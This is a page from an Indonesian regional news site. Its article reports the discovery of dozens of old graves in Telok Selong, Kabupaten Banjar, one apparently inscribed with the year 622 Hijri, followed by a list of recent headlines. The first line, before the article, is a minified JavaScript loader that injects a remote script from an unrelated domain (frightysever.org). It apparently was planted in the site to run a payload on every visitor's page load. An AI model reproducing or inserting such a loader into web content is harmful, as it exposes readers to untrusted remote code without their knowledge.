(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Misteri Penemuan Puluhan Makam Kuno Berusia 800 Tahun di Telok Selong (1)


Hari mulai gerimis. Lahan yang habis dibabat warga itu menyisakan lengket tanah di kaki setelah tercampur air hujan. Di areal seluas sekitar 30 meter persegi itu, nampak puluhan patok makam kuno yang baru saja ditemukan di Desa Telok Selong, Kecamatan Martapura Timur, Kabupaten Banjar.

Puluhan warga, terlihat membersihkan lokasi dan berdoa sembari menaruh bunga di sejumlah makam itu ketika Kanalkalimantan.com datang ke lokasi. Ya, penemuan makam yang diduga berusia ratusan tahun ini memang menjadi kehebohan sendiri. Bahkan tidak menutup kemungkinan, makam-makam tua itu bisa membuka tabir sejarah baru masyarakat Banjar.

Tokoh masyarakat setempat, Muhammad Hatta mengatakan, sejak Selasa (7/11) warga telah bekerja bakti membabati semak belukar yang menutup lokasi makam. Penemuan makam itu, berawal dari pengerjaan pengerukan sungai desa yang persis berada di tepi areal pemakaman. Ketika itu, ada Habib Agus Assegaf yang menyampaikan kepada Pambakal bahwa di lokasi tersebut ada makam para ulama atau habaib. Untuk itu, agar lokasi dibersihkan.

“Setelah dibersihkan semak belukarnya, ternyata benar banyak makam,” katanya.

Diduga makam tersebut sangat tua usianya. Ini tunjukkan pada tahun bertulis angka arab pada salah satu makam.

“Ini ada tertulis angka 622 Hijriah,” kata Hatta.

Nah, jika merujuk pada angka tahun tersebut, lalu dikonversi dengan tahun Masehi, maka makam ini usianya sudah ratusan tahun. Sebab tahun 622 Hijirah sama dengan tahun 1225 Masehi.

“Ini jika benar, maka lebih tua dari Kesultanan atau Kerajaan Banjar, karena menurut ahli sejarah kerajaan Banjar berdiri pada 1520 Masehi,” katanya.

Memang, tidak ada tulisan nama siapa yang bermakam, kemungkinan sudah terhapus dimakan zaman atau sengaja tidak ditulis. “Kata ulama di cempaka itu, ini makam banyak terdapat ulama dan para keturunan raja,” ujarnya. (ronny lattar)


Desy Arfianty

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

4 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

7 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

8 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

11 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

13 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

13 jam ago

This website uses cookies.